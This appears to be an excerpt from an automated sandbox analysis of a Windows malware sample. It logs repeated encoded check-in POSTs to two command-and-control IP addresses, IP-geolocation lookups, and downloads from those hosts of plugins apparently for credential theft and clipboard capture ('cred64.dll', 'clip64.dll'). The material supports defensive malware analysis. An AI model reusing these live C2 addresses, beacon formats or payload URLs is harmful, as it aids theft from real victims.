Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49709 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

Code function: 0_2_00B8D8D0 recv,recv,recv,recv,

0_2_00B8D8D0

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YVSahsnONFm9PMs&MD=We8PUgeO HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YVSahsnONFm9PMs&MD=We8PUgeO HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=480920124&timestamp=1713490161736 HTTP/1.1Host: accounts.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=jRQWsnrOSN4; VISITOR_INFO1_LIVE=uxbWyiEqJyc; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgJw%3D%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.57.52 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.57.52 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.57.52 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.57.52 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.57.52 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.57.52 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.57.52 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.57.52 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.57.52 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.57.52 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.57.52 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.57.52 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.57.52 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.57.52 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /Pneh2sXQk0/Plugins/cred64.dll HTTP/1.1Host: 193.233.132.56
Source: global traffic	HTTP traffic detected: GET /mine/amert.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /Pneh2sXQk0/Plugins/clip64.dll HTTP/1.1Host: 193.233.132.56
